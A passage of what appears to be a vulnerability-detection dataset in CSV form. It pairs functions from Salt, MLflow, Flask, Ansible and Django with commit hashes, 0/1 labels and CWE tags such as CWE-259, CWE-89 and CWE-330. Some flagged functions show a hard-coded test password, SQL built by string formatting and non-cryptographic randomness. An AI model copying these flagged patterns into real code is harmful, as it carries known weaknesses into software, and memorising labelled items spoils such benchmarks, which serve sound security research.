            err += ' These tasks are deadlocked:\n{}\n'.format(ti_status.deadlocked)

        return err"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_dockermod.py,1,"def test_failed_login(self):
        '''
        Check that when docker.login failed a retcode other then 0
        is part of the return.
        '''
        client = Mock()
        get_client_mock = MagicMock(return_value=client)
        ref_out = {
            'stdout': '',
            'stderr': 'login failed',
            'retcode': 1
        }
        with patch.dict(docker_mod.__pillar__, {'docker-registries': {'portus.example.com:5000':
                {'username': 'admin', 'password': 'linux12345', 'email': 'tux@example.com'}}}):
            with patch.object(docker_mod, '_get_client', get_client_mock):
                with patch.dict(docker_mod.__salt__, {'cmd.run_all': MagicMock(return_value=ref_out)}):
                    ret = docker_mod.login('portus.example.com:5000')
                    self.assertIn('retcode', ret)
                    self.assertNotEqual(ret['retcode'], 0)",CWE-259,saltstack/salt,3ceb63f607936ff4be4e53db5a9c08b8d30b74d1,"def test_failed_login(self):
        '''
        Check that when docker.login failed a retcode other then 0
        is part of the return.
        '''
        client = Mock()
        get_client_mock = MagicMock(return_value=client)
        ref_out = {
            'stdout': '',
            'stderr': 'login failed',
            'retcode': 1
        }
        with patch.dict(docker_mod.__pillar__, {'docker-registries': {'portus.example.com:5000':
                {'username': 'admin', 'password': 'linux12345', 'email': 'tux@example.com'}}}):
            with patch.object(docker_mod, '_get_client', get_client_mock):
                with patch.dict(docker_mod.__salt__, {'cmd.run_all': MagicMock(return_value=ref_out)}):
                    ret = docker_mod.login('portus.example.com:5000')
                    self.assertTrue('retcode' in ret)
                    self.assertTrue(ret['retcode'] > 0)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/gateway/client.py,0,"def create_route(self, name: str, route_type: str, model: Dict[str, Any]) -> Route:
        """"""
        Create a new route in the Gateway.

        .. warning::

            This API is **only available** when running within Databricks. When running elsewhere,
            route configuration is handled via updates to the route configuration YAML file that
            is specified during Gateway server start.

        :param name: The name of the route.
        :param route_type: The type of the route (e.g., 'llm/v1/chat', 'llm/v1/completions',
                           'llm/v1/embeddings').
        :param model: A dictionary representing the model details to be associated with the route.
                      This dictionary should define:

                      - The model name (e.g., ""gpt-3.5-turbo"")
                      - The provider (e.g., ""openai"", ""anthropic"")
                      - The configuration for the model used in the route

        :return: A serialized representation of the `Route` data structure,
                 providing information about the name, type, and model details for the
                 newly created route endpoint.

        :raises mlflow.MlflowException: If the function is not running within Databricks.

        .. note::

            See the official Databricks documentation for MLflow Gateway for examples of supported
            model configurations and how to dynamically create new routes within Databricks.


        Example usage from within Databricks:

        .. code-block:: python

            from mlflow.gateway import MlflowGatewayClient

            gateway_client = MlflowGatewayClient(""databricks"")

            openai_api_key = ...

            new_route = gateway_client.create_route(
                name=""my-route"",
                route_type=""llm/v1/completions"",
                model={
                    ""name"": ""question-answering-bot"",
                    ""provider"": ""openai"",
                    ""openai_config"": {
                        ""openai_api_key"": openai_api_key,
                    },
                },
            )

        """"""
        if not self._is_databricks_host():
            raise MlflowException(
                ""The create_route API is only available when running within ""
                ""Databricks. Route creation is handled through creating a ""
                ""configuration YAML file during startup or through updating a ""
                ""running Gateway server."",
                error_code=BAD_REQUEST,
            )
        payload = {
            ""name"": name,
            ""route_type"": route_type,
            ""model"": model,
        }
        response = self._call_endpoint(
            ""POST"", MLFLOW_GATEWAY_CRUD_ROUTE_BASE, json.dumps(payload)
        ).json()
        return Route(**response)",,mlflow/mlflow,f15c4c70c5c64c39c7cdfcf5a724833901191908,"def create_route(self, name: str, route_type: str, model: Dict[str, Any]) -> Route:
        """"""
        Create a new route in the Gateway.

        .. warning::

            This API is **only available** when running within Databricks. When running elsewhere,
            route configuration is handled via updates to the route configuration YAML file that
            is specified during Gateway server start.

        :param name: The name of the route.
        :param route_type: The type of the route (e.g., 'llm/v1/chat', 'llm/v1/completions',
                           'llm/v1/embeddings').
        :param model: A dictionary representing the model details to be associated with the route.
                      This dictionary should define:

                      - The model name (e.g., ""gpt-3.5-turbo"")
                      - The provider (e.g., ""openai"", ""anthropic"")
                      - The configuration for the model used in the route

        :return: A serialized representation of the `Route` data structure,
                 providing information about the name, type, and model details for the
                 newly created route endpoint.

        :raises mlflow.MlflowException: If the function is not running within Databricks.

        .. note::

            See the official Databricks documentation for MLflow Gateway for examples of supported
            model configurations and how to dynamically create new routes within Databricks.


        Example usage from within Databricks:

        .. code-block:: python

            from mlflow.gateway import MlflowGatewayClient

            gateway_client = MlflowGatewayClient(""databricks"")

            openai_api_key = ...

            new_route = gateway_client.create_route(
                ""my-new-route"",
                ""llm/v1/completions"",
                {
                    ""name"": ""question-answering-bot-1"",
                    ""provider"": ""openai"",
                    ""config"": {
                        ""openai_api_key"": openai_api_key,
                        ""openai_api_version"": ""2023-05-10"",
                        ""openai_api_type"": ""openai/v1/chat/completions"",
                    },
                },
            )

        """"""
        if not self._is_databricks_host():
            raise MlflowException(
                ""The create_route API is only available when running within ""
                ""Databricks. Route creation is handled through creating a ""
                ""configuration YAML file during startup or through updating a ""
                ""running Gateway server."",
                error_code=BAD_REQUEST,
            )
        payload = {
            ""name"": name,
            ""route_type"": route_type,
            ""model"": model,
        }
        response = self._call_endpoint(
            ""POST"", MLFLOW_GATEWAY_CRUD_ROUTE_BASE, json.dumps(payload)
        ).json()
        return Route(**response)"
,UNKNOWN,UNKNOWN,tests/test_instance_config.py,1,"def test_installed_module_paths(
    modules_tmpdir, modules_tmpdir_prefix, purge_module, site_packages, limit_loader
):
    site_packages.join(""site_app.py"").write(
        ""import flask\napp = flask.Flask(__name__)\n""
    )
    purge_module(""site_app"")

    from site_app import app

    assert app.instance_path == modules_tmpdir.join(""var"").join(""site_app-instance"")",CWE-703,pallets/flask,d4b688bd035b9704b3168b28fed39c8fcfe3b997,"def test_installed_module_paths(
    modules_tmpdir, modules_tmpdir_prefix, purge_module, site_packages, limit_loader
):
    site_packages.join(""site_app.py"").write(
        ""import flask\n"" ""app = flask.Flask(__name__)\n""
    )
    purge_module(""site_app"")

    from site_app import app

    assert app.instance_path == modules_tmpdir.join(""var"").join(""site_app-instance"")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/system/systemd.py,0,"def main():
    # initialize
    module = AnsibleModule(
        argument_spec=dict(
            name=dict(type='str', aliases=['service', 'unit']),
            state=dict(type='str', choices=['reloaded', 'restarted', 'started', 'stopped']),
            enabled=dict(type='bool'),
            force=dict(type='bool'),
            masked=dict(type='bool'),
            daemon_reload=dict(type='bool', default=False, aliases=['daemon-reload']),
            daemon_reexec=dict(type='bool', default=False, aliases=['daemon-reexec']),
            user=dict(type='bool'),
            scope=dict(type='str', choices=['system', 'user', 'global']),
            no_block=dict(type='bool', default=False),
        ),
        supports_check_mode=True,
        required_one_of=[['state', 'enabled', 'masked', 'daemon_reload', 'daemon_reexec']],
        required_by=dict(
            state=('name', ),
            enabled=('name', ),
            masked=('name', ),
        ),
        mutually_exclusive=[['scope', 'user']],
    )

    unit = module.params['name']
    if unit is not None:
        for globpattern in (r""*"", r""?"", r""[""):
            if globpattern in unit:
                module.fail_json(msg=""This module does not currently support using glob patterns, found '%s' in service name: %s"" % (globpattern, unit))

    systemctl = module.get_bin_path('systemctl', True)

    if os.getenv('XDG_RUNTIME_DIR') is None:
        os.environ['XDG_RUNTIME_DIR'] = '/run/user/%s' % os.geteuid()

    ''' Set CLI options depending on params '''
    if module.params['user'] is not None:
        # handle user deprecation, mutually exclusive with scope
        module.deprecate(""The 'user' option is being replaced by 'scope'"", version='2.11')
        if module.params['user']:
            module.params['scope'] = 'user'
        else:
            module.params['scope'] = 'system'

    # if scope is 'system' or None, we can ignore as there is no extra switch.
    # The other choices match the corresponding switch
    if module.params['scope'] not in (None, 'system'):
        systemctl += "" --%s"" % module.params['scope']

    if module.params['no_block']:
        systemctl += "" --no-block""

    if module.params['force']:
        systemctl += "" --force""

    rc = 0
    out = err = ''
    result = dict(
        name=unit,
        changed=False,
        status=dict(),
    )

    # Run daemon-reload first, if requested
    if module.params['daemon_reload'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reload"" % (systemctl))
        if rc != 0:
            module.fail_json(msg='failure %d during daemon-reload: %s' % (rc, err))

    # Run daemon-reexec
    if module.params['daemon_reexec'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reexec"" % (systemctl))
        if rc != 0:
            module.fail_json(msg='failure %d during daemon-reexec: %s' % (rc, err))

    if unit:
        found = False
        is_initd = sysv_exists(unit)
        is_systemd = False

        # check service data, cannot error out on rc as it changes across versions, assume not found
        (rc, out, err) = module.run_command(""%s show '%s'"" % (systemctl, unit))

        if rc == 0 and not (request_was_ignored(out) or request_was_ignored(err)):
            # load return of systemctl show into dictionary for easy access and return
            if out:
                result['status'] = parse_systemctl_show(to_native(out).split('\n'))

                is_systemd = 'LoadState' in result['status'] and result['status']['LoadState'] != 'not-found'

                is_masked = 'LoadState' in result['status'] and result['status']['LoadState'] == 'masked'

                # Check for loading error
                if is_systemd and not is_masked and 'LoadError' in result['status']:
                    module.fail_json(msg=""Error loading unit file '%s': %s"" % (unit, result['status']['LoadError']))
        else:
            # list taken from man systemctl(1) for systemd 244
            valid_enabled_states = [
                ""enabled"",
                ""enabled-runtime"",
                ""linked"",
                ""linked-runtime"",
                ""masked"",
                ""masked-runtime"",
                ""static"",
                ""indirect"",
                ""disabled"",
                ""generated"",
                ""transient""]

            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))
            if out.strip() in valid_enabled_states:
                is_systemd = True
            else:
                # fallback list-unit-files as show does not work on some systems (chroot)
                # not used as primary as it skips some services (like those using init.d) and requires .service/etc notation
                (rc, out, err) = module.run_command(""%s list-unit-files '%s'"" % (systemctl, unit))
                if rc == 0:
                    is_systemd = True
                else:
                    # Check for systemctl command
                    module.run_command(systemctl, check_rc=True)

        # Does service exist?
        found = is_systemd or is_initd
        if is_initd and not is_systemd:
            module.warn('The service (%s) is actually an init script but the system is managed by systemd' % unit)

        # mask/unmask the service, if requested, can operate on services before they are installed
        if module.params['masked'] is not None:
            # state is not masked unless systemd affirms otherwise
            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))
            masked = out.strip() == ""masked""

            if masked != module.params['masked']:
                result['changed'] = True
                if module.params['masked']:
                    action = 'mask'
                else:
                    action = 'unmask'

                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        # some versions of system CAN mask/unmask non existing services, we only fail on missing if they don't
                        fail_if_missing(module, found, unit, msg='host')

        # Enable/disable service startup at boot if requested
        if module.params['enabled'] is not None:

            if module.params['enabled']:
                action = 'enable'
            else:
                action = 'disable'

            fail_if_missing(module, found, unit, msg='host')

            # do we need to enable the service?
            enabled = False
            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))

            # check systemctl result or if it is a init script
            if rc == 0:
                enabled = True
            elif rc == 1:
                # if not a user or global user service and both init script and unit file exist stdout should have enabled/disabled, otherwise use rc entries
                if module.params['scope'] in (None, 'system') and \
                        not module.params['user'] and \
                        is_initd and \
                        not out.strip().endswith('disabled') and \
                        sysv_is_enabled(unit):
                    enabled = True

            # default to current state
            result['enabled'] = enabled

            # Change enable/disable if needed
            if enabled != module.params['enabled']:
                result['changed'] = True
                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, out + err))

                result['enabled'] = not enabled

        # set service state if requested
        if module.params['state'] is not None:
            fail_if_missing(module, found, unit, msg=""host"")

            # default to desired state
            result['state'] = module.params['state']

            # What is current service state?
            if 'ActiveState' in result['status']:
                action = None
                if module.params['state'] == 'started':
                    if not is_running_service(result['status']):
                        action = 'start'
                elif module.params['state'] == 'stopped':
                    if is_running_service(result['status']) or is_deactivating_service(result['status']):
                        action = 'stop'
                else:
                    if not is_running_service(result['status']):
                        action = 'start'
                    else:
                        action = module.params['state'][:-2]  # remove 'ed' from restarted/reloaded
                    result['state'] = 'started'

                if action:
                    result['changed'] = True
                    if not module.check_mode:
                        (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                        if rc != 0:
                            module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, err))
            # check for chroot
            elif is_chroot(module):
                module.warn(""Target is a chroot. This can lead to false positives or prevent the init system tools from working."")
            else:
                # this should not happen?
                module.fail_json(msg=""Service is in unknown state"", status=result['status'])

    module.exit_json(**result)",,ansible/ansible,b868f1c933bf2e2d3efd1d20c1cfa1ed9326ea44,"def main():
    # initialize
    module = AnsibleModule(
        argument_spec=dict(
            name=dict(type='str', aliases=['service', 'unit']),
            state=dict(type='str', choices=['reloaded', 'restarted', 'started', 'stopped']),
            enabled=dict(type='bool'),
            force=dict(type='bool'),
            masked=dict(type='bool'),
            daemon_reload=dict(type='bool', default=False, aliases=['daemon-reload']),
            daemon_reexec=dict(type='bool', default=False, aliases=['daemon-reexec']),
            user=dict(type='bool'),
            scope=dict(type='str', choices=['system', 'user', 'global']),
            no_block=dict(type='bool', default=False),
        ),
        supports_check_mode=True,
        required_one_of=[['state', 'enabled', 'masked', 'daemon_reload', 'daemon_reexec']],
        required_by=dict(
            state=('name', ),
            enabled=('name', ),
            masked=('name', ),
        ),
        mutually_exclusive=[['scope', 'user']],
    )

    unit = module.params['name']
    if unit is not None:
        for globpattern in (r""*"", r""?"", r""[""):
            if globpattern in unit:
                module.fail_json(msg=""This module does not currently support using glob patterns, found '%s' in service name: %s"" % (globpattern, unit))

    systemctl = module.get_bin_path('systemctl', True)

    if os.getenv('XDG_RUNTIME_DIR') is None:
        os.environ['XDG_RUNTIME_DIR'] = '/run/user/%s' % os.geteuid()

    ''' Set CLI options depending on params '''
    if module.params['user'] is not None:
        # handle user deprecation, mutually exclusive with scope
        module.deprecate(""The 'user' option is being replaced by 'scope'"", version='2.11')
        if module.params['user']:
            module.params['scope'] = 'user'
        else:
            module.params['scope'] = 'system'

    # if scope is 'system' or None, we can ignore as there is no extra switch.
    # The other choices match the corresponding switch
    if module.params['scope'] not in (None, 'system'):
        systemctl += "" --%s"" % module.params['scope']

    if module.params['no_block']:
        systemctl += "" --no-block""

    if module.params['force']:
        systemctl += "" --force""

    rc = 0
    out = err = ''
    result = dict(
        name=unit,
        changed=False,
        status=dict(),
    )

    # Run daemon-reload first, if requested
    if module.params['daemon_reload'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reload"" % (systemctl))
        if rc != 0:
            module.fail_json(msg='failure %d during daemon-reload: %s' % (rc, err))

    # Run daemon-reexec
    if module.params['daemon_reexec'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reexec"" % (systemctl))
        if rc != 0:
            module.fail_json(msg='failure %d during daemon-reexec: %s' % (rc, err))

    if unit:
        found = False
        is_initd = sysv_exists(unit)
        is_systemd = False

        # check service data, cannot error out on rc as it changes across versions, assume not found
        (rc, out, err) = module.run_command(""%s show '%s'"" % (systemctl, unit))

        if request_was_ignored(out) or request_was_ignored(err):
            # fallback list-unit-files as show does not work on some systems (chroot)
            # not used as primary as it skips some services (like those using init.d) and requires .service/etc notation
            (rc, out, err) = module.run_command(""%s list-unit-files '%s'"" % (systemctl, unit))
            if rc == 0:
                is_systemd = True

        elif rc == 0:
            # load return of systemctl show into dictionary for easy access and return
            if out:
                result['status'] = parse_systemctl_show(to_native(out).split('\n'))

                is_systemd = 'LoadState' in result['status'] and result['status']['LoadState'] != 'not-found'

                is_masked = 'LoadState' in result['status'] and result['status']['LoadState'] == 'masked'

                # Check for loading error
                if is_systemd and not is_masked and 'LoadError' in result['status']:
                    module.fail_json(msg=""Error loading unit file '%s': %s"" % (unit, result['status']['LoadError']))
        else:
            # Check for systemctl command
            module.run_command(systemctl, check_rc=True)

        # Does service exist?
        found = is_systemd or is_initd
        if is_initd and not is_systemd:
            module.warn('The service (%s) is actually an init script but the system is managed by systemd' % unit)

        # mask/unmask the service, if requested, can operate on services before they are installed
        if module.params['masked'] is not None:
            # state is not masked unless systemd affirms otherwise
            masked = ('LoadState' in result['status'] and result['status']['LoadState'] == 'masked')

            if masked != module.params['masked']:
                result['changed'] = True
                if module.params['masked']:
                    action = 'mask'
                else:
                    action = 'unmask'

                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        # some versions of system CAN mask/unmask non existing services, we only fail on missing if they don't
                        fail_if_missing(module, found, unit, msg='host')

        # Enable/disable service startup at boot if requested
        if module.params['enabled'] is not None:

            if module.params['enabled']:
                action = 'enable'
            else:
                action = 'disable'

            fail_if_missing(module, found, unit, msg='host')

            # do we need to enable the service?
            enabled = False
            (rc, out, err) = module.run_command(""%s is-enabled '%s'"" % (systemctl, unit))

            # check systemctl result or if it is a init script
            if rc == 0:
                enabled = True
            elif rc == 1:
                # if not a user or global user service and both init script and unit file exist stdout should have enabled/disabled, otherwise use rc entries
                if module.params['scope'] in (None, 'system') and \
                        not module.params['user'] and \
                        is_initd and \
                        not out.strip().endswith('disabled') and \
                        sysv_is_enabled(unit):
                    enabled = True

            # default to current state
            result['enabled'] = enabled

            # Change enable/disable if needed
            if enabled != module.params['enabled']:
                result['changed'] = True
                if not module.check_mode:
                    (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                    if rc != 0:
                        module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, out + err))

                result['enabled'] = not enabled

        # set service state if requested
        if module.params['state'] is not None:
            fail_if_missing(module, found, unit, msg=""host"")

            # default to desired state
            result['state'] = module.params['state']

            # What is current service state?
            if 'ActiveState' in result['status']:
                action = None
                if module.params['state'] == 'started':
                    if not is_running_service(result['status']):
                        action = 'start'
                elif module.params['state'] == 'stopped':
                    if is_running_service(result['status']) or is_deactivating_service(result['status']):
                        action = 'stop'
                else:
                    if not is_running_service(result['status']):
                        action = 'start'
                    else:
                        action = module.params['state'][:-2]  # remove 'ed' from restarted/reloaded
                    result['state'] = 'started'

                if action:
                    result['changed'] = True
                    if not module.check_mode:
                        (rc, out, err) = module.run_command(""%s %s '%s'"" % (systemctl, action, unit))
                        if rc != 0:
                            module.fail_json(msg=""Unable to %s service %s: %s"" % (action, unit, err))
            # check for chroot
            elif is_chroot(module):
                module.warn(""Target is a chroot. This can lead to false positives or prevent the init system tools from working."")
            else:
                # this should not happen?
                module.fail_json(msg=""Service is in unknown state"", status=result['status'])

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/schema.py,1,"def _remake_table(self, model, create_fields=[], delete_fields=[], alter_fields=[], rename_fields=[], override_uniques=None):
        """"""
        Shortcut to transform a model from old_model into new_model
        """"""
        # Work out the new fields dict / mapping
        body = dict((f.name, f) for f in model._meta.local_fields)
        mapping = dict((f.column, f.column) for f in model._meta.local_fields)
        # If any of the new or altered fields is introducing a new PK,
        # remove the old one
        restore_pk_field = None
        if any(f.primary_key for f in create_fields) or any(n.primary_key for o, n in alter_fields):
            for name, field in list(body.items()):
                if field.primary_key:
                    field.primary_key = False
                    restore_pk_field = field
                    if field.auto_created:
                        del body[name]
                        del mapping[field.column]
        # Add in any created fields
        for field in create_fields:
            body[field.name] = field
        # Add in any altered fields
        for (old_field, new_field) in alter_fields:
            del body[old_field.name]
            del mapping[old_field.column]
            body[new_field.name] = new_field
            mapping[new_field.column] = old_field.column
        # Remove any deleted fields
        for field in delete_fields:
            del body[field.name]
            del mapping[field.column]
        # Work inside a new AppCache
        app_cache = BaseAppCache()
        # Construct a new model for the new state
        meta_contents = {
            'app_label': model._meta.app_label,
            'db_table': model._meta.db_table + ""__new"",
            'unique_together': model._meta.unique_together if override_uniques is None else override_uniques,
            'app_cache': app_cache,
        }
        meta = type(""Meta"", tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = model.__module__
        temp_model = type(model._meta.object_name, model.__bases__, body)
        # Create a new table with that format
        self.create_model(temp_model)
        # Copy data from the old table
        field_maps = list(mapping.items())
        self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s;"" % (
            self.quote_name(temp_model._meta.db_table),
            ', '.join(x for x, y in field_maps),
            ', '.join(y for x, y in field_maps),
            self.quote_name(model._meta.db_table),
        ))
        # Delete the old table
        self.delete_model(model)
        # Rename the new to the old
        self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)
        # Run deferred SQL on correct table
        for sql in self.deferred_sql:
            self.execute(sql.replace(temp_model._meta.db_table, model._meta.db_table))
        self.deferred_sql = []
        # Fix any PK-removed field
        if restore_pk_field:
            restore_pk_field.primary_key = True",CWE-89,django/django,11cd7388f77aa9d12ab6b57285c3801b237e241b,"def _remake_table(self, model, create_fields=[], delete_fields=[], alter_fields=[], rename_fields=[], override_uniques=None):
        """"""
        Shortcut to transform a model from old_model into new_model
        """"""
        # Work out the new fields dict / mapping
        body = dict((f.name, f) for f in model._meta.local_fields)
        mapping = dict((f.column, f.column) for f in model._meta.local_fields)
        # If any of the new or altered fields is introducing a new PK,
        # remove the old one
        restore_pk_field = None
        if any(f.primary_key for f in create_fields) or any(n.primary_key for o, n in alter_fields):
            for name, field in list(body.items()):
                if field.primary_key:
                    field.primary_key = False
                    restore_pk_field = field
                    if field.auto_created:
                        del body[name]
                        del mapping[field.column]
        # Add in any created fields
        for field in create_fields:
            body[field.name] = field
        # Add in any altered fields
        for (old_field, new_field) in alter_fields:
            del body[old_field.name]
            del mapping[old_field.column]
            body[new_field.name] = new_field
            mapping[new_field.column] = old_field.column
        # Remove any deleted fields
        for field in delete_fields:
            del body[field.name]
            del mapping[field.column]
        # Work inside a new AppCache
        app_cache = BaseAppCache()
        # Construct a new model for the new state
        meta_contents = {
            'app_label': model._meta.app_label,
            'db_table': model._meta.db_table + ""__new"",
            'unique_together': model._meta.unique_together if override_uniques is None else override_uniques,
            'app_cache': app_cache,
        }
        meta = type(""Meta"", tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = model.__module__
        temp_model = type(model._meta.object_name, model.__bases__, body)
        # Create a new table with that format
        self.create_model(temp_model)
        # Copy data from the old table
        field_maps = list(mapping.items())
        self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s;"" % (
            self.quote_name(temp_model._meta.db_table),
            ', '.join([x for x, y in field_maps]),
            ', '.join([y for x, y in field_maps]),
            self.quote_name(model._meta.db_table),
        ))
        # Delete the old table
        self.delete_model(model)
        # Rename the new to the old
        self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)
        # Run deferred SQL on correct table
        for sql in self.deferred_sql:
            self.execute(sql.replace(temp_model._meta.db_table, model._meta.db_table))
        self.deferred_sql = []
        # Fix any PK-removed field
        if restore_pk_field:
            restore_pk_field.primary_key = True"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/__init__.py,1,"def _make_tmp_path(self):
        '''
        Create and return a temporary path on a remote box.
        '''

        basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        use_system_tmp = False

        if self._connection_info.become and self._connection_info.become_user != 'root':
            use_system_tmp = True

        tmp_mode = None
        if self._connection_info.remote_user != 'root' or self._connection_info.become and self._connection_info.become_user != 'root':
            tmp_mode = 'a+rx'

        cmd = self._shell.mkdtemp(basefile, use_system_tmp, tmp_mode)
        debug(""executing _low_level_execute_command to create the tmp path"")
        result = self._low_level_execute_command(cmd, None, sudoable=False)
        debug(""done with creation of tmp path"")

        # error handling on this seems a little aggressive?
        if result['rc'] != 0:
            if result['rc'] == 5:
                output = 'Authentication failure.'
            elif result['rc'] == 255 and self._connection.transport in ('ssh',):

                if self._connection_info.verbosity > 3:
                    output = 'SSH encountered an unknown error. The output was:\n%s' % (result['stdout']+result['stderr'])
                else:
                    output = 'SSH encountered an unknown error during the connection. We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue'

            elif 'No space left on device' in result['stderr']:
                output = result['stderr']
            else:
                output = 'Authentication or permission failure.  In some cases, you may have been able to authenticate and did not have permissions on the remote directory. Consider changing the remote temp path in ansible.cfg to a path rooted in ""/tmp"". Failed command was: %s, exited with result %d' % (cmd, result['rc'])
            if 'stdout' in result and result['stdout'] != '':
                output = output + "": %s"" % result['stdout']
            raise AnsibleError(output)

        # FIXME: do we still need to do this?
        #rc = self._shell.join_path(utils.last_non_blank_line(result['stdout']).strip(), '')
        rc = self._shell.join_path(result['stdout'].strip(), '').splitlines()[-1]

        # Catch failure conditions, files should never be
        # written to locations in /.
        if rc == '/':
            raise AnsibleError('failed to resolve remote temporary directory from %s: `%s` returned empty string' % (basefile, cmd))

        return rc",CWE-330,ansible/ansible,bdba807fd1b03d888db6ad19d13cc3f6ec47f968,"def _make_tmp_path(self):
        '''
        Create and return a temporary path on a remote box.
        '''

        basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        use_system_tmp = False

        if self._connection_info.become and self._connection_info.become_user != 'root':
            use_system_tmp = True

        tmp_mode = None
        if self._connection_info.remote_user != 'root' or self._connection_info.become and self._connection_info.become_user != 'root':
            tmp_mode = 'a+rx'

        cmd = self._shell.mkdtemp(basefile, use_system_tmp, tmp_mode)
        debug(""executing _low_level_execute_command to create the tmp path"")
        result = self._low_level_execute_command(cmd, None, sudoable=False)
        debug(""done with creation of tmp path"")

        # error handling on this seems a little aggressive?
        if result['rc'] != 0:
            if result['rc'] == 5:
                output = 'Authentication failure.'
            elif result['rc'] == 255 and self._connection.transport in ('ssh',):
                # FIXME: more utils.VERBOSITY
                #if utils.VERBOSITY > 3:
                #    output = 'SSH encountered an unknown error. The output was:\n%s' % (result['stdout']+result['stderr'])
                #else:
                #    output = 'SSH encountered an unknown error during the connection. We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue'
                output = 'SSH encountered an unknown error. The output was:\n%s' % (result['stdout']+result['stderr'])
            elif 'No space left on device' in result['stderr']:
                output = result['stderr']
            else:
                output = 'Authentication or permission failure.  In some cases, you may have been able to authenticate and did not have permissions on the remote directory. Consider changing the remote temp path in ansible.cfg to a path rooted in ""/tmp"". Failed command was: %s, exited with result %d' % (cmd, result['rc'])
            if 'stdout' in result and result['stdout'] != '':
                output = output + "": %s"" % result['stdout']
            raise AnsibleError(output)

        # FIXME: do we still need to do this?
        #rc = self._shell.join_path(utils.last_non_blank_line(result['stdout']).strip(), '')
        rc = self._shell.join_path(result['stdout'].strip(), '').splitlines()[-1]

        # Catch failure conditions, files should never be
        # written to locations in /.
        if rc == '/':
            raise AnsibleError('failed to resolve remote temporary directory from %s: `%s` returned empty string' % (basefile, cmd))

        return rc"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_file.py,1,"def test_file_recurse_directory_test():
    salt_dunder = {
        ""cp.list_master_dirs"": MagicMock(return_value=[]),
        ""file.source_list"": MagicMock(return_value=(""salt://does_not_exist"", """")),
    }
    with patch.dict(file.__salt__, salt_dunder):
        ret = file.recurse(""/tmp/test"", ""salt://does_not_exist"", saltenv=""base"")
        assert ret == {
            ""changes"": {},
            ""comment"": ""The directory 'does_not_exist' does not exist on the salt fileserver in saltenv 'base'"",
            ""name"": ""/tmp/test"",
            ""result"": False,
        }
        salt_dunder[""cp.list_master_dirs""].assert_called_once_with(
            saltenv=""base"",
            prefix=""does_not_exist/"",
        )",CWE-703,saltstack/salt,cfce8c125631723c424b7a1b37af98cae83ca37b,"def test_file_recurse_directory_test():
    salt_dunder = {
        ""cp.list_master_dirs"": MagicMock(return_value=[]),
        ""file.source_list"": MagicMock(return_value=(""salt://does_not_exist"", """")),
    }
    with patch.dict(file.__salt__, salt_dunder):
        ret = file.recurse(""/tmp/test"", ""salt://does_not_exist"", saltenv=""base"")
        assert ret == {
            ""changes"": {},
            ""comment"": ""The directory 'does_not_exist' does not exist on the salt fileserver in saltenv 'base'"",
            ""name"": ""/tmp/test"",
            ""result"": False,
        }
        assert salt_dunder[""cp.list_master_dirs""].assert_called_once_with(
            prefix=""does_not_exist/""
        )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/langchain/_langchain_autolog.py,0,"def _inject_callbacks(original_callbacks, new_callbacks):
    """"""
    Inject list of callbacks into the original callbacks.
    For RunnableConfig, the callbacks is defined as List[BaseCallbackHandler] or BaseCallbackManager
    https://github.com/langchain-ai/langchain/blob/ed980601e1c630f996aabf85df5cb26178e53099/libs/core/langchain_core/callbacks/base.py#L636
    """"""
    from langchain_core.callbacks.base import BaseCallbackManager

    def _is_new_callback_already_in_original_callbacks(new_callback, original_callbacks):
        return any(
            isinstance(original_callback, type(new_callback))
            for original_callback in original_callbacks
        )

    if isinstance(original_callbacks, BaseCallbackManager):
        for callback in new_callbacks:
            if not _is_new_callback_already_in_original_callbacks(
                callback, original_callbacks.handlers
            ):
                original_callbacks.add_handler(callback)
        return original_callbacks

    if not isinstance(original_callbacks, list):
        original_callbacks = [original_callbacks]

    # Make a copy of the original callbacks to avoid modifying the original list
    updated_callbacks = list(original_callbacks)
    for new_callback in new_callbacks:
        if not _is_new_callback_already_in_original_callbacks(new_callback, original_callbacks):
            updated_callbacks.append(new_callback)

    return updated_callbacks",,mlflow/mlflow,8a499370b11912f5c74fd2d10800116d276c4273,"def _inject_callbacks(original_callbacks, new_callbacks):
    """"""
    Inject list of callbacks into the original callbacks.
    For RunnableConfig, the callbacks is defined as List[BaseCallbackHandler] or BaseCallbackManager
    https://github.com/langchain-ai/langchain/blob/ed980601e1c630f996aabf85df5cb26178e53099/libs/core/langchain_core/callbacks/base.py#L636
    """"""
    from langchain_core.callbacks.base import BaseCallbackManager

    def _is_new_callback_already_in_original_callbacks(new_callback, original_callbacks):
